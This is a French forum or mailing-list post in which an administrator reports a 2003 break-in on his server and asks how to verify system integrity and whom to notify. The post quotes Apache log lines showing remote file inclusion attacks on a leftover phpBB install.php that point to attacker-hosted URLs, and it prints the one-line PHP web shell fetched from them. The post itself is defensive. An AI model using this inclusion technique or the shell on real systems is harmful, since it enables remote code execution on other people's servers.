Bon je crois que j'ai trouv� le probl�me, au moins j'aurais publi� le
code qu'il ne fallait surtout pas publier :)
Dans d'autres logs d'apache que j'avais oubli� j'ai retrouv� :
200.103.138.205 - - [29/Jul/2003:00:53:38 +0200] "GET
/phpBB2/install.php?phpbb_root_dir=http://www.superwroger.hpg.ig.com.br
/ HTTP/1.1" 200 930 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98;
Win 9x 4.90)"
200.103.138.205 - - [29/Jul/2003:00:53:38 +0200] "GET
/phpBB2/install.php?phpbb_root_dir=http://www.superwroger.hpg.ig.com.br
/ HTTP/1.1" 200 359 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98;
Win 9x 4.90)"
(...)
200.103.138.205 - - [29/Jul/2003:00:58:52 +0200] "GET
/phpBB2/install.php?phpbb_root_dir=http://www.myxpls.hpg.ig.com.br/ HTT
P/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x
4.90)"
Donc une erreur de ma part en laissant le script d'installation de phpBB
dans un r�pertoire, mea culpa... :-(
En r�cup�rant la page
http://www.superwroger.hpg.ig.com.br/includes/functions_selects.php,
voici ce qu'elle contient :
<pre>
<?php
system($command);
?>
Donc cela ex�cute une commande (certes je ne vois pas laquelle, mais peu
importe), quoiqu'il en soit l'heure et la date corroborent l'heure �
laquelle le code source (logs) a �t� compil�... Si je ne me trompe en
faisant cela, le 'hacker' n'a eu acc�s qu'aux droits d'apache qui sont
tr�s limit� ? Donc il n'a pas su faire plus de d�gats ou je me trompe ?
Quoiqu'il en soit je vais devoir m'amuser � v�rifier l'int�grit� de mon
syst�me tout entier... Si quelqu'un a une autre m�thode que s'amuser �
faire les md5sum des ex�cutables importants sur mon serveur et puis sur
une autre debian, cela m'int�resserait... Et aussi comment v�rifies-t-on
l'int�grit� des fichiers wtmp/utmp/lastlog/messages et autres ? Aussi,
peut-on se fier au r�sultat de chkrootkit (0.35) ?
Merci � list(AT)zaide.org pour son aide qui m'a mis sur la voie.
Juste une derni�re petite question, est-ce que cela sert � quelque chose
d'essayer d'informer quelqu'un de ce 'm�fait' ? l'I.S.P. ? LACNIC � qui
appartient l'ip ?
Merci d'avance.
Freedom66
